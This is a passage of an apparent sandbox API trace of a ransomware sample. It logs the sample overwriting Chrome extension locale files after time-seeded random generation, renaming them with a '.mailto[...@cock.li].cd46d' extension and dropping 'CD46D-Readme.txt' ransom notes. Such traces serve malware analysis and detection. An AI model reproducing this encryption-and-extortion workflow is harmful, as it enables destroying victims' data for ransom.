[0191.215] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e98f0 [0191.215] NtQuerySystemTime (in: CurrentTime=0xb0ef810 | out: CurrentTime=0xb0ef810*=132174899658106000) returned 0x0 [0191.215] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x35eed2dd [0191.215] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x301b8577 [0191.215] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x44ca791f [0191.215] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x22e3436a [0191.215] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x478e4cab [0191.215] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x2e231f01 [0191.215] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x3163b1b2 [0191.215] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x2f7460ab [0191.215] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0xb0ef610 [0191.215] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x1d9a96e3 [0191.215] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x64f6bb61 [0191.216] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x27a1567c [0191.216] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x2e38eeb4 [0191.216] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x4242e438 [0191.216] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x6afc4bb8 [0191.216] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x176afa0b [0191.216] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x4db1e87b [0191.216] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x3350b6de [0191.216] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x3764180c [0191.216] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x1936e736 [0191.216] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x2dcd6d81 [0191.216] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x4b2a98a1 [0191.216] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x217effe8 [0191.216] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x1fcb8b06 [0191.216] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x3c83dd77 [0191.216] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x574bf3ca [0191.216] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x607a706d [0191.216] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x7dcf08ba [0191.216] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x4cf5e3a8 [0191.216] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x3ad07149 [0191.216] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x71557194 [0191.216] RtlRandomEx (in: Seed=0xb0ef81c | out: Seed=0xb0ef81c) returned 0x24c87a8b [0191.229] ReadFile (hFile=0xe20, lpBuffer=0x12e05158, nNumberOfBytesToRead=0x10d, lpNumberOfBytesRead=0xb0ef80c, lpOverlapped=0x0) [0191.230] SetFilePointerEx (in: hFile=0xe20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.230] WriteFile (in: hFile=0xe20, lpBuffer=0x12e11960*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0xb0ef808, lpOverlapped=0x0 | out: lpBuffer=0x12e11960*, lpNumberOfBytesWritten=0xb0ef808*=0x10d, lpOverlapped=0x0) returned 1 [0192.668] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5a30 [0192.668] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5b48 [0192.668] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5b48) returned 1 [0192.668] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12e11960) returned 1 [0192.670] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12e05158) returned 1 [0192.670] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e94a8) returned 1 [0192.670] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f96d8) returned 1 [0192.670] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6870 [0192.670] SetFilePointerEx (in: hFile=0xe20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.670] WriteFile (in: hFile=0xe20, lpBuffer=0x12cf6670*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xb0ef870, lpOverlapped=0x0 | out: lpBuffer=0x12cf6670*, lpNumberOfBytesWritten=0xb0ef870*=0x10b, lpOverlapped=0x0) returned 1 [0192.754] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6670) returned 1 [0192.754] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6f60) returned 1 [0192.754] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5b48) returned 1 [0192.754] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6870) returned 1 [0192.754] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5a30) returned 1 [0192.754] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e98c8) returned 1 [0192.754] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8288) returned 1 [0192.754] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8260) returned 1 [0192.754] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x934138 [0192.754] wcscpy (in: _Dest=0x934138, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json" [0192.754] wcscat (in: _Dest=0x934138, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0192.754] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xb0ef828, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0192.755] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x93d988 Thread: id = 8051 os_tid = 0x18bc [0188.485] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json")) returned 0x2020 [0189.203] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json", dwFileAttributes=0x20) returned 1 [0193.226] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x898 [0193.226] GetFileSizeEx (in: hFile=0x898, lpFileSize=0x79cf94c | out: lpFileSize=0x79cf94c*=256) returned 1 [0193.226] SetFilePointerEx (in: hFile=0x898, liDistanceToMove=0xfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.226] ReadFile (in: hFile=0x898, lpBuffer=0x79cf8d0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x79cf8cc, lpOverlapped=0x0 | out: lpBuffer=0x79cf8d0*, lpNumberOfBytesRead=0x79cf8cc*=0x4, lpOverlapped=0x0) returned 1 [0193.227] SetFilePointerEx (in: hFile=0x898, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.227] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0193.227] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af028 [0193.227] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aeec0 [0193.227] NtQuerySystemTime (in: CurrentTime=0x79cf8ac | out: CurrentTime=0x79cf8ac*=132174899678230000) returned 0x0 [0193.227] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x3219fc94 [0193.227] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x55b78bb2 [0193.227] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x77c686c3 [0193.227] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x16fe5f62 [0193.227] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0xbbf4efe [0193.227] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x10d967ca [0193.227] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x75b6cf15 [0193.227] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x5e54df95 [0193.228] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x4c160298 [0193.228] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x3026523b [0193.228] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x4cea3ae5 [0193.228] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x3942a9c5 [0193.228] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x5139f0a6 [0193.228] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x183634c1 [0193.228] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x229aeb57 [0193.228] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x5008264 [0193.228] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x6e4e9fb4 [0193.228] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x53f584d1 [0193.228] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x4b416baa [0193.228] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x6cda553b [0193.228] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x54532b2d [0193.228] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x1b8224e3 [0193.228] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x61ba6853 [0193.228] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x3512df98 [0193.228] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x7bd1b2e4 [0193.228] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x209a3b43 [0193.228] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x39a657dd [0193.228] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x2703e3c8 [0193.228] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0xd2f2ea5 [0193.228] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x25f6d4bb [0193.228] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x46dfb16 [0193.228] RtlRandomEx (in: Seed=0x79cf8b8 | out: Seed=0x79cf8b8) returned 0x7c401286 [0193.241] ReadFile (hFile=0x898, lpBuffer=0xd51e088, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x79cf8a8, lpOverlapped=0x0) [0193.242] SetFilePointerEx (in: hFile=0x898, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.242] WriteFile (in: hFile=0x898, lpBuffer=0x13497008*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x79cf8a4, lpOverlapped=0x0 | out: lpBuffer=0x13497008*, lpNumberOfBytesWritten=0x79cf8a4*=0x100, lpOverlapped=0x0) returned 1 [0194.461] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945bb8 [0194.461] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945500 [0194.461] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945500) returned 1 [0194.461] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13497008) returned 1 [0194.461] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd51e088) returned 1 [0194.462] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8800) returned 1 [0194.462] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9720) returned 1 [0194.462] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6960 [0194.462] SetFilePointerEx (in: hFile=0x898, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.462] WriteFile (in: hFile=0x898, lpBuffer=0x12cf6ad0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x79cf90c, lpOverlapped=0x0 | out: lpBuffer=0x12cf6ad0*, lpNumberOfBytesWritten=0x79cf90c*=0x10b, lpOverlapped=0x0) returned 1 [0195.875] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6ad0) returned 1 [0195.876] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6990) returned 1 [0195.876] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945500) returned 1 [0195.876] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6960) returned 1 [0195.876] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945bb8) returned 1 [0195.876] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af028) returned 1 [0195.876] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af140) returned 1 [0195.876] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af1e0) returned 1 [0195.876] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x12cf7598 [0195.876] wcscpy (in: _Dest=0x12cf7598, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json" [0195.876] wcscat (in: _Dest=0x12cf7598, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0195.876] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x79cf8c4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0195.876] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c8a10 [0196.017] FlushFileBuffers (hFile=0x898) returned 1 [0196.028] CloseHandle (hObject=0x898) returned 1 [0196.090] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b58e8 [0196.090] wcscpy (in: _Dest=0x9b58e8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\" [0196.090] wcscat (in: _Dest=0x9b58e8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\CD46D-Readme.txt" [0196.090] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\cd46d-readme.txt")) returned 0xffffffff [0196.090] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13e0 [0196.202] WriteFile (in: hFile=0x13e0, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x79cf8cc, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x79cf8cc*=0x6fd, lpOverlapped=0x0) returned 1 [0196.203] CloseHandle (hObject=0x13e0) returned 1 [0196.203] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b58e8) returned 1 [0196.203] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d48440) returned 1 Thread: id = 8052 os_tid = 0x18c0 [0188.486] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json")) returned 0x2020 [0189.203] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json", dwFileAttributes=0x20) returned 1 [0193.243] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x878 [0193.244] GetFileSizeEx (in: hFile=0x878, lpFileSize=0xc59f938 | out: lpFileSize=0xc59f938*=234) returned 1 [0193.244] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0193.244] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aeec0 [0193.244] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aee48 [0193.244] NtQuerySystemTime (in: CurrentTime=0xc59f898 | out: CurrentTime=0xc59f898*=132174899678386000) returned 0x0 [0193.244] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x47937cbf [0193.244] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x7a2c3d54 [0193.244] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x63ac6578 [0193.244] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x6c91a5a3 [0193.244] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x50b6b38d [0193.244] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x5c8917c3 [0193.244] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x65fb6124 [0193.244] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x5bb64481 [0193.244] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x6488f809 [0193.244] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x3e78c50c [0193.244] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x7d6fb701 [0193.244] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x74603f96 [0193.244] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x4c11de6f [0193.244] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x7c4cd21c [0193.244] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x41b9fbae [0193.244] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x190c7081 [0193.244] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x268c0665 [0193.244] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x5ffd0986 [0193.244] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x376dd6d0 [0193.244] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x5e1ffd91 [0193.244] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x818138f [0193.244] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x287c3a37 [0193.244] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x70fc75a3 [0193.245] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0xcb277db [0193.245] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x7de0dd45 [0193.245] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x7f34fe9d [0193.245] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x7185bbf6 [0193.245] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x3e038850 [0193.245] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x73a549fa [0193.245] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x7a8b3386 [0193.245] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x59213d41 [0193.245] RtlRandomEx (in: Seed=0xc59f8a4 | out: Seed=0xc59f8a4) returned 0x5420f76f [0193.257] ReadFile (hFile=0x878, 